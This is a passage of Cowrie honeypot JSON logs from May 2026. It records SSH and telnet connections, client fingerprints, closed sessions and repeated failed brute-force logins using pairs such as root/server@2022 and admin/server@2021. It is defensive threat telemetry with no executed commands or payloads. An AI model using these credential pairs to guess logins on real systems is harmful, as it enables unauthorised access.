sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:32.235936Z","src_ip":"103.190.242.61","session":"1e696fd62ca1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":58534,"dst_ip":"10.17.0.5","dst_port":22,"session":"1efcf5c5438f","protocol":"ssh","message":"New connection: 190.244.39.232:58534 (10.17.0.5:22) [session: 1efcf5c5438f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:32.452314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:32.460010Z","src_ip":"190.244.39.232","session":"1efcf5c5438f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:32.654550Z","src_ip":"190.244.39.232","session":"1efcf5c5438f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2021","message":"login attempt [admin/server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:33.046113Z","src_ip":"103.190.242.61","session":"1e696fd62ca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ytrewq","message":"login attempt [ubuntu/ytrewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:33.423395Z","src_ip":"190.244.39.232","session":"1efcf5c5438f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:33.527910Z","src_ip":"103.190.242.61","session":"1e696fd62ca1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":55484,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8b2c25af74c","protocol":"ssh","message":"New connection: 103.190.242.61:55484 (10.17.0.5:22) [session: a8b2c25af74c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:33.726634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:33.733071Z","src_ip":"103.190.242.61","session":"a8b2c25af74c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:33.923096Z","src_ip":"103.190.242.61","session":"a8b2c25af74c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:34.621357Z","src_ip":"190.244.39.232","session":"1efcf5c5438f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2021","message":"login attempt [user/server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:34.688718Z","src_ip":"103.190.242.61","session":"a8b2c25af74c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":54362,"dst_ip":"10.17.0.5","dst_port":23,"session":"758a4f495433","protocol":"telnet","message":"New connection: 137.184.155.248:54362 (10.17.0.5:23) [session: 758a4f495433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:35.090254Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:35.168884Z","src_ip":"103.190.242.61","session":"a8b2c25af74c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":55602,"dst_ip":"10.17.0.5","dst_port":22,"session":"2aba07b49d14","protocol":"ssh","message":"New connection: 103.190.242.61:55602 (10.17.0.5:22) [session: 2aba07b49d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:35.377930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:35.386683Z","src_ip":"103.190.242.61","session":"2aba07b49d14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:35.586229Z","src_ip":"103.190.242.61","session":"2aba07b49d14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2021","message":"login attempt [user2/server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:36.413399Z","src_ip":"103.190.242.61","session":"2aba07b49d14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:36.893545Z","src_ip":"103.190.242.61","session":"2aba07b49d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":55736,"dst_ip":"10.17.0.5","dst_port":22,"session":"37b394803b45","protocol":"ssh","message":"New connection: 103.190.242.61:55736 (10.17.0.5:22) [session: 37b394803b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:37.094205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:37.098885Z","src_ip":"103.190.242.61","session":"37b394803b45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:37.294662Z","src_ip":"103.190.242.61","session":"37b394803b45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2022","message":"login attempt [root/server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:38.109695Z","src_ip":"103.190.242.61","session":"37b394803b45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:38.590357Z","src_ip":"103.190.242.61","session":"37b394803b45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":55866,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2ad43962a9a","protocol":"ssh","message":"New connection: 103.190.242.61:55866 (10.17.0.5:22) [session: d2ad43962a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:38.793424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:38.798443Z","src_ip":"103.190.242.61","session":"d2ad43962a9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:38.995347Z","src_ip":"103.190.242.61","session":"d2ad43962a9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2022","message":"login attempt [admin/server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:39.809701Z","src_ip":"103.190.242.61","session":"d2ad43962a9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:40.289867Z","src_ip":"103.190.242.61","session":"d2ad43962a9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":55990,"dst_ip":"10.17.0.5","dst_port":22,"session":"55024e306108","protocol":"ssh","message":"New connection: 103.190.242.61:55990 (10.17.0.5:22) [session: 55024e306108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:40.492755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:40.497365Z","src_ip":"103.190.242.61","session":"55024e306108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:40.693208Z","src_ip":"103.190.242.61","session":"55024e306108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2022","message":"login attempt [user/server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:41.509276Z","src_ip":"103.190.242.61","session":"55024e306108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:41.989961Z","src_ip":"103.190.242.61","session":"55024e306108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":56120,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f8c5cadc04f","protocol":"ssh","message":"New connection: 103.190.242.61:56120 (10.17.0.5:22) [session: 0f8c5cadc04f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:42.193029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:42.198015Z","src_ip":"103.190.242.61","session":"0f8c5cadc04f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:42.394148Z","src_ip":"103.190.242.61","session":"0f8c5cadc04f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2022","message":"login attempt [user2/server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:43.209886Z","src_ip":"103.190.242.61","session":"0f8c5cadc04f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:43.690211Z","src_ip":"103.190.242.61","session":"0f8c5cadc04f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":56247,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ff81a7da2f3","protocol":"ssh","message":"New connection: 103.190.242.61:56247 (10.17.0.5:22) [session: 2ff81a7da2f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:43.893990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:43.899331Z","src_ip":"103.190.242.61","session":"2ff81a7da2f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:44.097622Z","src_ip":"103.190.242.61","session":"2ff81a7da2f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.47294497489929,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:44.893818Z","src_ip":"137.184.155.248","session":"b95e9f30b00e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2023","message":"login attempt [root/server@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:44.913159Z","src_ip":"103.190.242.61","session":"2ff81a7da2f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:45.393716Z","src_ip":"103.190.242.61","session":"2ff81a7da2f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":56378,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cecb1ba7278","protocol":"ssh","message":"New connection: 103.190.242.61:56378 (10.17.0.5:22) [session: 0cecb1ba7278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:45.600257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:45.605331Z","src_ip":"103.190.242.61","session":"0cecb1ba7278","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:45.800677Z","src_ip":"103.190.242.61","session":"0cecb1ba7278","protocol":"ssh"}
